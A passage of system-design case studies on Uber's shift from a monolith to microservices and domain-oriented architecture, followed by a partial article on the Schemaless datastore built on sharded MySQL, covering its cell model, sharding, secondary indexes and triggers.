- **2013**: The single PostgreSQL database was running out of capacity. Engineers estimated the infrastructure would fail to function by the end of 2014.
- **2016**: The "death star" dependency graph made the system unpredictable. A latency spike in any of hundreds of dependencies could cascade across the entire platform.
- **2018**: Feature velocity was declining despite growing headcount. Engineers needed to navigate ~50 services across 12 teams to investigate a single production issue.

## Phase 1: The Monolith (2009-2013)

### Architecture

Uber launched in 2009 with a LAMP stack. By 2011, the architecture had settled into two monolithic services:

- **API Service**: Python (Flask/uWSGI), handling all business logic -- rider management, billing, payments, driver onboarding. Connected to a single PostgreSQL instance.
- **Dispatch Service**: Node.js, handling real-time driver-rider matching and location tracking. Uber was one of the early major adopters of Node.js in 2011. Connected to MongoDB (later Redis).

Both services shared the same PostgreSQL database for persistent state. An intermediate layer called "ON" (Object Node) sat between dispatch and the API service for resilience.

### Why It Worked Initially

For a single product (UberBLACK) in a single city (San Francisco), this architecture was sufficient. Deployments were simple -- one team, one codebase, one database. The entire engineering team could hold the system model in their heads.

### Why It Broke

As Uber expanded from 1 city to 65 cities and from 1 product to multiple product lines, four problems compounded:

**Database saturation**: The single PostgreSQL instance could not handle the write volume from exponential trip growth. Write amplification was severe -- updating a single field required writing a new tuple plus updating all secondary indexes. Cross-datacenter WAL-based replication consumed prohibitive bandwidth.

**Deployment coupling**: Every code change required deploying the entire monolith. With dozens of engineers committing daily, the deployment queue became a bottleneck. A bug in billing code could take down dispatch.

**Organizational scaling**: "Tribal knowledge was required before attempting to make a single change." New engineers could not contribute safely without understanding the entire codebase. Components were tightly coupled with implicit dependencies.

**Concurrency bugs**: The dispatch system suffered from race conditions -- dispatching two cars to one rider, or matching one driver to multiple simultaneous requests. These bugs were symptoms of a monolith doing too many things in a single process.

## Phase 2: The Microservices Explosion (2013-2018)

### The Decision

In 2013, following the paths of Amazon, Netflix, and Twitter, Uber's engineering leadership decided to decompose the monolith into microservices. The explicit goal was organizational scaling -- enabling teams to deploy independently without coordinating with every other team.

### Migration Approach

Uber did not do a big-bang rewrite. Services were extracted incrementally from the monolith, starting with the most painful coupling points:

**Timeline of service growth:**

| Date | Services | Key milestone |
|------|----------|---------------|
| Mid-2014 | ~100 | Schemaless replaces PostgreSQL |
| September 2015 | 500+ | SOA blog post published; goal to eliminate monolith repo by year end |
| March 2016 | 1,000+ | 1,000th production service deployed |
| Early 2017 | 2,000+ | Jaeger tracing integrated across hundreds of services |
| 2018-2019 | 4,000+ | Peak service count |

**Key technology choices:**

- **Apache Thrift** as the IDL (Interface Definition Language) for cross-service contracts, providing type safety via strict schemas
- **TChannel**: A custom TCP multiplexing protocol for RPC, designed for out-of-order responses without head-of-line blocking. Built-in tracing headers (25 bytes of Dapper-style trace context embedded in every frame) made distributed tracing a protocol-level concern rather than an application-level afterthought.
- **Ringpop**: Application-layer consistent hashing library using a SWIM protocol variant for gossip-based cluster membership. Enabled services to self-organize into sharded clusters without external coordination. Routed over 25 real-time services handling millions of requests per second.
- **Hyperbahn**: An overlay network of routers built on Ringpop and TChannel. Services registered by name; consumers accessed producers without knowing hosts or ports. Provided fault tolerance, rate limiting, and circuit breaking.

### Infrastructure Built During This Phase

The microservices explosion forced Uber to build an entire platform stack. Each system below solved a specific scaling bottleneck:

**Storage -- Schemaless (2014)**: When PostgreSQL hit capacity, Uber built Schemaless -- an append-only sparse three-dimensional hash map on top of sharded MySQL. Data model: (row_key UUID, column_name string, ref_key integer) mapping to immutable JSON cells. Each shard cluster ran 1 master + 2 replicas across data centers. Buffered writes went to both primary and a randomly-selected secondary cluster for durability. Schemaless later evolved into Docstore, a general-purpose transactional database with Raft-based replication and strict serializability. Collectively, these systems store tens of petabytes and serve tens of millions of requests per second.

**Tracing -- Jaeger (2015)**: Created by Yuri Shkuro to replace Merckx, a monolithic Python tracing system that lacked distributed context propagation. Jaeger used a push model with local agents on every host, receiving spans via UDP. Chose to build rather than adopt Zipkin because Uber lacked operational experience with Scribe and Cassandra (Zipkin's dependencies at the time), and Zipkin's model did not support key-value logging or directed acyclic graph representations. Jaeger graduated from the CNCF (Cloud Native Computing Foundation) in October 2019 as the 7th top-level project. At Uber's scale, production traces regularly contain 50,000-60,000 spans, with outliers reaching 10 million spans.

**Metrics -- M3 (2015)**: Replaced a Graphite/Carbon/Whisper stack that could not replicate, required manual resharding, and lost data on any single node disk failure. M3DB stores over 6.6 billion time series, aggregates 500 million metrics per second, and persists 20 million metrics per second globally. Custom M3TSZ compression optimizes Facebook's Gorilla algorithm for float64 values.

**Workflow orchestration -- Cadence (2017)**: Built by Maxim Fateev and Samar Abbas (who previously built AWS Simple Workflow Service). Traditional workflow engines used DSLs that became overly complicated. Cadence inverted this: native code (Go, Java) for workflows with the engine handling persistence, queues, timers, and fault tolerance. Processes 12 billion executions and 270 billion actions per month. Internal surveys showed teams writing 40% less code for equivalent functionality. Fateev and Abbas later forked Cadence into Temporal in 2019.

**Container distribution -- Kraken (2018)**: P2P Docker image distribution using a BitTorrent-inspired protocol. Standard Docker registries could not keep up as clusters grew. Kraken distributes 20,000 blobs (100 MB-1 GB each) in under 30 seconds at peak, serving over 1 million blobs per day across clusters of 8,000+ hosts.

### The Language Migration

Uber started with Python (Flask/uWSGI) for the API monolith and Node.js for dispatch. Both hit performance walls as services proliferated:

**Python problems**: Flask blocked on network calls and I/O. The uWSGI worker model required provisioning more capacity and more services than the workload warranted.

**Node.js problems**: Single-threaded event loop tied up CPUs during compute-intensive operations (geospatial calculations, serialization). Background data refreshes caused query latency spikes because both competed for the same thread.

**Go adoption (~2015)**: The geofence service -- Uber's highest-QPS (Queries Per Second) service -- became the proof point. On New Year's Eve 2015, it handled 170,000 QPS with 40 machines at 35% CPU utilization. P95 latency stayed under 5 milliseconds, P99 under 50 milliseconds, with 99.99% uptime. Go's goroutines enabled concurrent background data refreshes without blocking foreground queries.

By 2018, Uber standardized on **Go and Java** for backend services. Python and Node.js were deprecated for new backend development. The Go monorepo grew to ~50 million lines of code with ~2,100 unique Go services by 2023, with monthly active Go developers growing from fewer than 10 to nearly 900.

### The "Death Star" Problem

By 2016, with 1,000+ services, the architecture had produced exactly the complexity it was supposed to eliminate. Matt Ranney, Uber's Chief Systems Architect, described the dependency graph as "wildly complicated" -- the visualization of service-to-service calls resembled a death star with tangled, opaque connections.

**Cascading failures**: With 100 interdependent services each responding slowly 1% of the time, the probability of at least one slow response per request is 63.4% ($1 - 0.99^{100}$). Retries amplified the problem. A single slow dependency could bring down services several layers upstream.

**Cognitive overload**: Engineers needed to navigate ~50 services across 12 teams to investigate a single production issue. Each microservice was structured differently, with no consistent patterns for service discovery, error handling, or API contracts.

**Reliability paradox**: Uber was most reliable on weekends -- the busiest period for rider traffic -- because engineers were not deploying. Ranney observed: "The time when things are most likely to break is when you change them."

**Repository explosion**: 8,000+ git repositories growing by 1,000 per month. Finding the right service, understanding its API, and knowing who owned it became significant engineering overhead.

**Technology fragmentation**: Multiple messaging queues, varying databases, different communication protocols, and multiple languages fragmented engineering culture into competing technical tribes.

Ranney's QCon SF 2016 talk, "What Comes After Microservices?", openly questioned whether microservices were solving more problems than they created at this scale.

## Phase 3: DOMA -- Domain-Oriented Microservice Architecture (2018-2020)

### The Insight

The answer to microservice complexity was not fewer services or a return to monoliths. It was adding a layer of organizational structure on top of existing services.

Published in July 2020, DOMA was the result of two years of work by 60+ engineers. The key observation: microservices at Uber had a **1.5-year half-life** -- 50% of services were created or deprecated every 18 months. Imposing structure at the service level was futile because services were too ephemeral. Structure had to exist at a higher abstraction: **domains**.

### Architecture

DOMA introduced four concepts:

**Domains**: Collections of one or more microservices tied to a logical grouping of functionality. Uber classified 2,200 critical microservices into 70 domains. A domain represents a bounded context in Domain-Driven Design (DDD) terms -- a coherent unit of business capability.

**Layers**: Five dependency layers with strict rules about which layers can call which:

| Layer | Purpose | Example |
|-------|---------|---------|
| Infrastructure | Generic engineering solutions any org could use | Storage, networking, compute |
| Business | Uber-wide logic not specific to a product | Maps, payments, identity |
| Product | Specific lines of business | Rides, Eats, Freight |
| Presentation | Consumer-facing application features | Mobile app screens, web views |
| Edge | External service exposure | API gateways, partner APIs |

Dependencies flow downward: Presentation calls Product, Product calls Business, Business calls Infrastructure. Lateral calls within a layer go through gateways. Upward calls are prohibited.

**Gateways**: A single entry point into each domain. Upstream consumers call the gateway, not individual services within the domain. This abstraction enabled two major platform rewrites at Uber to happen "behind gateways" without requiring hundreds of upstream service migrations.

**Extensions**: A mechanism allowing domains to be extended without direct modification. Two types:

- **Logic extensions**: A plugin/provider pattern where domains define extension points and consumers register implementations
- **Data extensions**: Uses Protocol Buffers' `Any` type for attaching arbitrary data to domain entities without modifying the domain's schema

### Implementation

DOMA did not require rewriting services. It imposed structure on top of existing ones:

1. **Domain classification**: Each of 2,200 services was assigned to one of 70 domains based on its business capability
2. **Gateway deployment**: Each domain received a gateway service that became the sole external interface
3. **Dependency enforcement**: Tooling validated that cross-domain calls went through gateways and respected layer ordering
4. **Extension registration**: Domains that needed cross-cutting behavior registered extension points rather than accepting direct calls

At the time of the July 2020 blog post, approximately 50% of domains had been implemented.

### Why Not Just Merge Services?

DOMA explicitly avoided consolidating microservices back into larger services. The reasoning: microservices' independent deployment, clear ownership, and technology flexibility were real benefits worth preserving. The problem was not the services themselves but the lack of structure in how they related to each other. Domains provided that structure without sacrificing service-level autonomy.

> **Note:** The concept of domain organization draws from DDD, Clean Architecture, Service-Oriented Architecture (SOA), and object-oriented interface design. DOMA is Uber's synthesis of these patterns for their specific scale and organizational structure.

### Organizational Mapping

Critically, domains do not always follow company org chart boundaries. The Uber Maps organization, for example, spans three domains with 80 microservices across three gateways. This reflects logical business boundaries rather than reporting hierarchies -- a deliberate choice to avoid Conway's Law forcing suboptimal technical architecture.

## Outcome

### Metrics Comparison

| Metric | Before DOMA (2018) | After DOMA (2020) | Improvement |
|--------|-------------------|-------------------|-------------|
| Feature integration time | ~3 days | ~3 hours | ~24x faster |
| New engineer onboarding | Baseline | 25-50% faster | 1.3-2x |
| Platform support cost | Baseline | Order of magnitude reduction | ~10x |
| Services to call for new feature | Many downstream services | 1 domain gateway | Dramatic simplification |
| Microservice half-life | 1.5 years | 1.5 years (unchanged) | Structure tolerates churn |

### Timeline

- **Total DOMA project duration**: ~2 years (2018-2020)
- **Engineering effort**: 60+ engineers contributed
- **Adoption at publication**: ~50% of domains implemented

### Unexpected Benefits

- **Platform rewrites behind gateways**: Two major platform rewrites occurred without upstream migration -- gateways absorbed the internal changes
- **Extension model velocity**: Feature integration that previously required coordinating across multiple teams reduced to registering an extension with a single domain
- **Reduced tribal knowledge dependency**: Gateway APIs provided discoverable, documented entry points instead of requiring engineers to know which of thousands of services to call

### Remaining Limitations

- Service count remained high (4,000+) -- DOMA manages complexity, it does not eliminate it
- The 1.5-year half-life of services means domain assignments require continuous maintenance
- Extension points require upfront design investment that not all domain teams had completed
- Cross-domain transactions remain architecturally complex

## Lessons Learned

### Technical Lessons

#### 1. Microservices Are an Organizational Tool, Not Primarily a Technical One

**The insight**: Uber decomposed into microservices not because the monolith could not handle the traffic but because 200 engineers could not safely deploy to a shared codebase at the rate the business demanded. Ranney stated directly: "Scaling the traffic is not the issue. Scaling the team and the product feature release rate is the primary driver."

**How it applies elsewhere:**

- Evaluate microservice adoption based on team size and deployment frequency, not request volume
- A 10-person team rarely benefits from microservices; a 200-person team almost always does
- Microservices replace human communication with API contracts -- this is a feature when communication does not scale, and overhead when it does

**Warning signs to watch for:**

- Deployment queue wait times growing despite stable codebase size
- "Tribal knowledge" becoming a prerequisite for contributions
- Merge conflicts and test failures increasing with team size, not code complexity

#### 2. Service Count Will Exceed Your Ability to Reason About the System

**The insight**: Uber crossed 1,000 services in early 2016 -- just three years after starting decomposition. At that scale, no individual could hold the system model in their head. The "death star" was not a design failure but an inevitable consequence of unconstrained decomposition.

**How it applies elsewhere:**

- Plan for service-level structure (domains, bounded contexts, platform teams) before you need it
- Invest in observability (tracing, dependency mapping) before the graph becomes opaque
- The transition from "I can reason about this" to "nobody can reason about this" happens faster than expected

**Warning signs to watch for:**

- Engineers cannot explain the end-to-end request path for common user flows
- Incident investigation requires consulting more than three teams
- New services are created faster than documentation or runbooks can cover them

#### 3. Build Infrastructure Only When Forced

**The insight**: Uber built Schemaless when PostgreSQL ran out of space, Jaeger when Merckx could not trace across services, M3 when Graphite lost data on disk failures, and Kraken when Docker registries could not keep up. Each infrastructure investment was a response to a concrete, measured bottleneck -- not speculative future-proofing.

**How it applies elsewhere:**

- Adopt off-the-shelf solutions until they demonstrably fail at your scale
- When you must build custom infrastructure, solve the specific bottleneck, not a generalized problem
- Open-source your solutions -- Uber's Jaeger, Cadence, M3, and Kraken all became significant community projects

#### 4. Gateways Absorb Internal Architecture Changes

**The insight**: Two major Uber platform rewrites happened behind domain gateways without any upstream service migrations. The gateway pattern decoupled internal evolution from external contracts.

**How it applies elsewhere:**

- Place gateways at domain boundaries before you need to refactor behind them
- Design gateway APIs around business capabilities, not internal service structures
- Gateways trade latency (one extra hop) for evolvability -- at Uber's scale, this was clearly worth it

### Process Lessons

#### 1. Mandates to Migrate Are Counterproductive

**What Uber learned**: Ranney advocated a "pure carrots, no sticks" approach -- provide tools so obviously superior that adoption becomes intuitive rather than mandated. Forced migrations create resentment and corner-cutting. The Go migration succeeded because Go demonstrably outperformed Python for Uber's workload (85% lower median latency in the Schemaless worker rewrite), not because Python was banned.

**What they would do differently**: Start language standardization earlier. Multiple languages fragmented engineering culture into competing "tribes" and complicated cross-service debugging.

### Organizational Lessons

#### 1. Conway's Law Is a Force to Harness, Not Fight

**The insight**: Uber's microservice boundaries naturally mirrored team boundaries. DOMA worked because it aligned domain boundaries with business capabilities rather than org chart hierarchy. The Maps organization spanning three domains with three gateways shows that logical architecture should drive organizational grouping, not the reverse.

**How organization structure affected the outcome**: When "Company > Team > Self" priority inverted -- when individual or team interests overrode organizational benefit -- that is when political dysfunction occurred and architectural decisions became suboptimal.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- Your engineering team is growing faster than 2x per year
- Deployment frequency is limited by coordination overhead, not technical constraints
- Your monolith codebase requires "tribal knowledge" for safe changes
- You already have microservices but cannot trace end-to-end request flows

### When This Pattern Does NOT Apply

- Teams under ~50 engineers rarely need formal domain structure
- If your deployment pipeline handles your current coordination needs, decomposition adds overhead without benefit
- If your services communicate primarily through async events rather than synchronous RPC, the "death star" problem is less acute

### Checklist for Evaluation

- [ ] Can any engineer explain the end-to-end path of your most common request?
- [ ] Do incident investigations regularly require more than two teams?
- [ ] Are new services being created without clear domain ownership?
- [ ] Is your service dependency graph visualizable and understandable?
- [ ] Can you deploy a feature without coordinating with more than one other team?

### Starting Points

1. **Map your dependency graph** before decomposing or restructuring. Tools like Jaeger, Zipkin, or commercial APM (Application Performance Monitoring) platforms can generate service maps from production traffic.
2. **Identify natural domain boundaries** by analyzing which services always change together. High co-change frequency indicates they belong in the same domain.
3. **Start with gateways** for your highest-traffic cross-team boundaries. Even one gateway reduces the blast radius of future changes.
4. **Measure what matters**: Track deployment frequency, lead time for changes, mean time to recovery, and cross-team coordination overhead. These are the metrics that reveal whether your architecture is serving your organization.

## Conclusion

Uber's journey from monolith to 4,000+ microservices to domain-oriented architecture is not a cautionary tale about microservices. It is a demonstration that architecture must evolve with organizational scale, and that each architectural phase creates the conditions for the next.

The monolith worked for one city. Microservices worked for 400 cities. DOMA works for 10,000+ cities. None of these were wrong choices -- they were appropriate choices for their scale. The lesson is not which architecture to choose but when to recognize that your current architecture has reached its limits, and how to evolve without stopping the system.

The most transferable insight is Ranney's observation that scaling traffic is not the hard problem. Scaling the team -- enabling hundreds or thousands of engineers to ship independently without breaking each other's work -- is what drives every architectural decision. If you remember one thing from Uber's journey, let it be this: architect for the organization you are becoming, not the traffic you are serving.

## Appendix

### Prerequisites

- Familiarity with microservices patterns (service discovery, API gateways, circuit breakers)
- Understanding of distributed systems fundamentals (CAP theorem, eventual consistency)
- Basic knowledge of Domain-Driven Design concepts (bounded contexts, aggregates)

### Terminology

| Term | Definition |
|------|-----------|
| DOMA | Domain-Oriented Microservice Architecture -- Uber's framework for organizing microservices into domains with gateways and layers |
| DDD | Domain-Driven Design -- a software design approach that models software around business domains |
| SOA | Service-Oriented Architecture -- the predecessor pattern to microservices with coarser-grained services |
| SWIM | Scalable Weakly-consistent Infection-style Process Group Membership Protocol -- gossip protocol used by Ringpop |
| IDL | Interface Definition Language -- a specification language for defining service contracts (e.g., Thrift, Protocol Buffers) |
| CDC | Change Data Capture -- a pattern for tracking and propagating data changes |
| QPS | Queries Per Second -- throughput measurement for request-handling systems |
| APM | Application Performance Monitoring -- tools for tracking application performance and tracing requests |

### Summary

- Uber's monolith (2 services, 1 PostgreSQL instance) worked for 1 city but could not scale past 65 cities due to deployment coupling and database saturation
- Microservices decomposition (2013-2018) grew to 4,000+ services and enabled 10x engineering team growth, but produced cascading failures, cognitive overload, and a "death star" dependency graph
- DOMA (2018-2020) grouped 2,200 critical services into 70 domains with gateways, five dependency layers, and an extension model -- reducing onboarding time by 25-50% and platform support costs by 10x
- Custom infrastructure (Schemaless, Jaeger, M3, Cadence, Kraken) was built reactively when existing solutions hit measured limits, not speculatively
- The language migration from Python/Node.js to Go/Java delivered 85% lower median latency and enabled standardized tooling across 2,100+ Go services
- Microservices are fundamentally an organizational scaling tool -- evaluate them based on team size and deployment frequency, not traffic volume

### References

- [Service-Oriented Architecture: Scaling the Uber Engineering Codebase As We Grow](https://www.uber.com/blog/service-oriented-architecture/) - Uber Engineering Blog, September 2015
- [Introducing Domain-Oriented Microservice Architecture](https://www.uber.com/en-US/blog/microservice-architecture/) - Adam Gluck, Uber Engineering Blog, July 2020
- [What Comes After Microservices? (QCon SF 2016)](https://www.infoq.com/presentations/uber-scalability-services/) - Matt Ranney, InfoQ
- [Lessons Learned from Scaling Uber to 2000 Engineers, 1000 Services, and 8000 Git Repositories](https://highscalability.com/lessons-learned-from-scaling-uber-to-2000-engineers-1000-ser/) - High Scalability
- [The Uber Engineering Tech Stack, Part I: The Foundation](https://www.uber.com/blog/tech-stack-part-one-foundation/) - Uber Engineering Blog
- [Designing Schemaless, Uber Engineering's Scalable Datastore Using MySQL](https://www.uber.com/blog/schemaless-part-one-mysql-datastore/) - Uber Engineering Blog
- [Evolving Distributed Tracing at Uber Engineering](https://www.uber.com/blog/distributed-tracing/) - Yuri Shkuro, Uber Engineering Blog
- [M3: Uber's Open Source, Large-scale Metrics Platform for Prometheus](https://www.uber.com/blog/m3/) - Uber Engineering Blog
- [Announcing Cadence 1.0](https://www.uber.com/blog/announcing-cadence/) - Uber Engineering Blog, June 2023
- [Introducing Kraken, an Open Source Peer-to-Peer Docker Registry](https://www.uber.com/blog/introducing-kraken/) - Uber Engineering Blog
- [How We Built Uber Engineering's Highest Query per Second Service Using Go](https://www.uber.com/blog/go-geofence-highest-query-per-second-service/) - Uber Engineering Blog
- [Code Migration in Production: Rewriting the Sharding Layer of Uber's Schemaless Datastore](https://www.uber.com/blog/schemaless-rewrite/) - Uber Engineering Blog
- [Up: Portable Microservices Ready for the Cloud](https://www.uber.com/blog/up-portable-microservices-ready-for-the-cloud/) - Uber Engineering Blog
- [Building Uber's Go Monorepo with Bazel](https://www.uber.com/blog/go-monorepo-bazel/) - Uber Engineering Blog
- [Peloton: Uber's Unified Resource Scheduler](https://www.uber.com/blog/resource-scheduler-cluster-management-peloton/) - Uber Engineering Blog
- [CNCF Announces Jaeger Graduation](https://www.cncf.io/announcements/2019/10/31/cloud-native-computing-foundation-announces-jaeger-graduation/) - CNCF, October 2019
- [Ringpop: Consistent Hashing Library](https://www.uber.com/blog/ringpop-open-source-nodejs-library/) - Uber Engineering Blog

---

## Uber Schemaless: Building a Scalable Datastore on MySQL

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/uber-schemaless-datastore
**Category:** System Design / Real-World Case Studies
**Description:** In early 2014, Uber faced an infrastructure crisis: trip data growth was consuming database capacity so rapidly that their systems would fail by year’s end without intervention. Rather than adopting an existing NoSQL solution, Uber built Schemaless—a thin, horizontally scalable layer on top of MySQL that prioritized operational simplicity over feature richness. This case study examines the architectural decisions that enabled Schemaless to scale from crisis point to billions of trips, the trade-offs inherent in its append-only cell model, and the design patterns that made MySQL work as a distributed datastore.

# Uber Schemaless: Building a Scalable Datastore on MySQL

In early 2014, Uber faced an infrastructure crisis: trip data growth was consuming database capacity so rapidly that their systems would fail by year's end without intervention. Rather than adopting an existing NoSQL solution, Uber built Schemaless—a thin, horizontally scalable layer on top of MySQL that prioritized operational simplicity over feature richness. This case study examines the architectural decisions that enabled Schemaless to scale from crisis point to billions of trips, the trade-offs inherent in its append-only cell model, and the design patterns that made MySQL work as a distributed datastore.

<figure>

![Schemaless architecture: worker nodes route requests to sharded MySQL storage nodes. Each cell is immutable and versioned.](./schemaless-architecture-worker-nodes-route-requests-to-sharded-mysql-storage-nod.svg)

<figcaption>Schemaless architecture: worker nodes route requests to sharded MySQL storage nodes. Each cell is immutable and versioned.</figcaption>
</figure>

## Abstract

**The core insight**: Instead of adopting Cassandra or building a custom distributed database, Uber layered a simple abstraction over MySQL. The key innovation was the **cell model**—an immutable, versioned data unit identified by `(row_key, column_name, ref_key)`. Writes append new versions rather than updating in place, making every operation idempotent and enabling simple replication.

**Why it worked**:

- **Operational familiarity**: Uber engineers knew MySQL. Cassandra and Riak offered linear scaling but lacked operational maturity at Uber's scale and the consistency guarantees needed for trip data.
- **Fixed sharding**: 4,096 shards mapped deterministically from row keys. No dynamic rebalancing complexity.
- **Buffered writes**: If a master fails, writes buffer to another master (hinted handoff). Write availability prioritized over immediate read consistency.
- **Triggers**: The append-only model created a natural change log, enabling event-driven architectures for billing, analytics, and cross-datacenter replication.

**The trade-off**: Eventual consistency, denormalized indexes, and application-level complexity in exchange for horizontal scalability and operational simplicity.

## Context

### The System

In early 2014, Uber's trip data infrastructure consisted of a single PostgreSQL instance. This was the largest percentage of storage, grew fastest, and contributed the most IOPS (Input/Output Operations Per Second) of any data type.

| Metric              | Value (Early 2014)         |
| ------------------- | -------------------------- |
| Annual trips        | 140 million                |
| Monthly growth rate | ~20%                       |
| Database            | Single PostgreSQL instance |
| Pain point          | Vertical scaling limit     |

### The Trigger

**Problem statement**: Growth would exhaust infrastructure by end of 2014 without intervention.

**Why PostgreSQL couldn't scale**:

- **Write amplification**: PostgreSQL's MVCC (Multi-Version Concurrency Control) stores the ctid (tuple ID) in every index. When a row updates, all indexes add new entries even if only one column changed. This caused excessive disk writes and storage costs.
- **Replication overhead**: WAL-based (Write-Ahead Log) replication logged all low-level changes, leading to high bandwidth usage for cross-datacenter replication.
- **Connection model**: Process-per-connection was less efficient than MySQL's thread-per-connection for high connection counts.

### Alternatives Evaluated

| Option              | Pros                                        | Cons                                                                                          | Outcome    |
| ------------------- | ------------------------------------------- | --------------------------------------------------------------------------------------------- | ---------- |
| **Cassandra**       | Linear scaling, tunable consistency         | Eventual consistency complicates index implementation; operational immaturity at Uber's scale | Rejected   |
| **Riak**            | Masterless, conflict resolution             | Similar consistency challenges; CRDT complexity                                               | Rejected   |
| **MongoDB**         | Document model, familiar query language     | Scaling concerns; consistency model issues for trip data                                      | Rejected   |
| **Custom on MySQL** | Operational familiarity, proven reliability | Build cost, no built-in distribution                                                          | **Chosen** |

**The deciding factors**: Uber engineers had confidence in operating MySQL. NoSQL systems offered features but lacked the operational maturity and consistency guarantees needed for critical trip data. Building a thin layer on MySQL let them leverage existing expertise.

### Design Inspirations

- **FriendFeed's schemaless approach**: Store JSON blobs with minimal schema constraints
- **Pinterest's operational principles**: Simple, sharded MySQL-based architecture
- **Google Bigtable**: Sparse, three-dimensional persistent hash map (row, column, timestamp)

## The Cell Model

### Core Data Structure

The fundamental unit is an immutable **cell**:

```
Cell = (row_key, column_name, ref_key) → JSON body
```

| Component     | Type    | Purpose                                       |
| ------------- | ------- | --------------------------------------------- |
| `row_key`     | UUID    | Primary identifier (e.g., trip_uuid)          |
| `column_name` | String  | Attribute category (e.g., "BASE", "FARE")     |
| `ref_key`     | Integer | Version number, monotonically increasing      |
| `body`        | JSON    | Arbitrary JSON payload, no schema enforcement |

**Example**: A trip's base data:

```json
{
  "row_key": "trip_uuid_abc123",
  "column_name": "BASE",
  "ref_key": 3,
  "body": {
    "driver_uuid": "driver_xyz",
    "rider_uuid": "rider_456",
    "status": "completed",
    "pickup_lat": 37.7749,
    "pickup_lng": -122.4194
  }
}
```

### Immutability and Versioning

**Key design decision**: Cells are never updated in place. To modify data, write a new cell with a higher `ref_key`.

**Why immutability**:

1. **Idempotent writes**: Retrying a write is always safe. If the network fails mid-write, retry without side effects.
2. **Built-in versioning**: Every write creates a change log entry. Full history is preserved.
3. **Simplified replication**: No conflict resolution needed—highest `ref_key` wins.
4. **Natural trigger support**: Triggers can track all mutations by scanning new ref_keys.

**Trade-off**: Storage growth. Old versions accumulate. Compaction strategies needed for long-lived entities.

### Reading and Writing Cells

**Write path**:

1. Client sends cell to worker node
2. Worker hashes `row_key` to determine shard (0-4095)
3. Worker routes to storage node master for that shard
4. Master writes to MySQL, replicates to minions asynchronously

**Read path**:

1. Client requests cell by `row_key` and `column_name`
2. Worker routes to storage node (default: master, configurable per request)
3. Storage node returns cell with highest `ref_key`

![Diagram](./diagram-1.svg)

## Sharding Architecture

### Fixed Shard Count

Schemaless uses **4,096 fixed shards**. A cell maps to a shard based on its `row_key` hash:

```python
shard_id = hash(row_key) % 4096
```

**Why fixed shards**:

- **No rebalancing**: Adding capacity means moving entire shards, not rehashing data
- **Deterministic routing**: Any worker can compute the shard without coordination
- **Operational simplicity**: Fixed mapping simplifies debugging and operations

**Trade-off**: 4,096 is a hard limit on parallelism. For Uber's trip data, this was sufficient—each shard handles roughly 1/4096th of traffic.

### Storage Node Topology

Each shard runs on a **cluster** with one master and two minions:

```
Shard N:
  └── Master (writes, reads by default)
      ├── Minion A (async replica, DC 1)
      └── Minion B (async replica, DC 2)
```

**Master**: Receives all writes. Handles reads when strong consistency is needed.

**Minions**: Async replicas in different datacenters. Handle read traffic to reduce master load. Eventually consistent—lag is typically sub-20ms.

### MySQL as Storage

Each Schemaless shard is a separate MySQL database containing:

| Table               | Purpose                                                             |
| ------------------- | ------------------------------------------------------------------- |
| Entity table        | Stores cells with compound index on (row_key, column_name, ref_key) |
| Index tables        | One per secondary index, denormalized                               |
| Coordination tables | Trigger offsets, metadata                                           |

**Why MySQL worked**:

- B-tree index on `(row_key, column_name, ref_key)` enables efficient cell lookups
- InnoDB provides ACID within a shard
- Mature replication, backup, and operational tooling

**Later optimization**: Uber migrated from InnoDB to **MyRocks** (RocksDB-based storage engine) for improved compression and write performance.

## Worker and Storage Nodes

### Worker Node Responsibilities

Worker nodes are stateless HTTP servers that:

1. **Route requests**: Hash row_key → shard → storage node
2. **Aggregate results**: For queries spanning multiple shards, fan out and merge
3. **Implement circuit breakers**: Detect storage node failures, failover to replicas
4. **Buffer writes**: If master is down, persist writes to another master (hinted handoff)

**Scaling**: Worker nodes scale horizontally. Add more for capacity. By mid-2016, Uber ran several thousand worker nodes.

### Storage Node Responsibilities

Storage nodes are MySQL instances that:

1. **Store cells**: Primary data persistence
2. **Execute queries**: Cell lookups, index scans
3. **Replicate**: Master → minion async replication

**Scaling**: Add more shards (up to 4096) or increase hardware per shard. By mid-2016, Uber ran thousands of storage nodes across 40+ Schemaless instances.

### Fault Tolerance

**Worker node failure**: Other workers continue serving. Client load balancer routes around failure.

**Storage node master failure**:

1. Worker detects via circuit breaker
2. Writes buffer to another master (hinted handoff)
3. Reads failover to minion (eventually consistent)
4. Minion can be promoted to master

**Storage node minion failure**: No impact on writes. Reads failover to other replicas or master.

**Buffered writes (hinted handoff)**:

![Diagram](./diagram-2.svg)

**Trade-off**: Buffered writes are not immediately readable. Client knows the master is down but cannot read the buffered data until recovery.

## Secondary Indexes

### Eventually Consistent Design

Secondary indexes are **not** updated in the same transaction as cell writes. This avoids two-phase commit overhead.

**Write flow**:

1. Cell written to entity table (ACK to client)
2. Trigger fires asynchronously
3. Index table updated with denormalized data

**Consistency guarantee**: Index lag is typically <20ms but not bounded. Applications must handle stale reads.

### Denormalized Index Structure

Indexes store denormalized data directly, enabling single-shard queries:

```
// Index: trips by driver
row_key: driver_uuid
column_name: "TRIP_INDEX"
body: {
  trip_uuid: "abc123",
  status: "completed",
  timestamp: 1609459200,
  // Frequently-queried fields denormalized here
}
```

**Query path**:

1. Query index by driver_uuid → get trip_uuids and denormalized data
2. If denormalized data is sufficient, return immediately
3. If full trip needed, fetch from entity table

**Why denormalization**: Avoids cross-shard joins. All data for an index query lives in one shard (the shard of the index row_key).

**Trade-off**: Storage duplication. Index updates lag entity writes. Application complexity in deciding what to denormalize.

## Trigger System

### Event-Driven Architecture

The append-only cell model creates a natural **change log**. Triggers subscribe to cell changes and execute application logic asynchronously.

```python
@trigger(column="BASE", table="trips")
def on_trip_update(cell):
    if cell.body.status == "completed":
        charge_rider(cell.row_key)
        notify_driver(cell.row_key)
```

### Trigger Architecture

**Implementation**:

1. Each shard maintains an auto-incrementing `added_id` for cells
2. Trigger workers track their offset (last processed `added_id`) per shard
3. Workers poll for cells with `added_id > offset`
4. Process cell, advance offset

![Diagram](./diagram-3.svg)

**Delivery guarantee**: At-least-once. Triggers must be idempotent.

**Scaling**: Up to 4,096 trigger workers (one per shard). Workers can be added/removed without stopping processing.

### Use Cases

| Use Case             | Trigger Column              | Action                         |
| -------------------- | --------------------------- | ------------------------------ |
| Billing              | `BASE` (status = completed) | Charge rider                   |
| Analytics            | Any                         | Write to data warehouse        |
| Cross-DC replication | Any                         | Replicate to remote datacenter |
| Notifications        | `BASE`                      | Push to driver/rider           |

### Fault Tolerance

